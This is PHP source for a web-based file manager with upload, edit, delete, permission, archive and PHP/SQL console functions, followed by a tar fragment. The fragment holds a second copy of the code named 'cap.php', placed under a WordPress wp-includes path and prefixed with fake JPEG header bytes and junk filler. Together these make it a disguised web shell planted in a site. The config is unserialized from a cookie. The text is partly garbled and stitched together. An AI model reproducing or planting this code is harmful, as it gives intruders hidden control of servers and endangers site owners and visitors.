		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK     |\FL @  @   cap.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
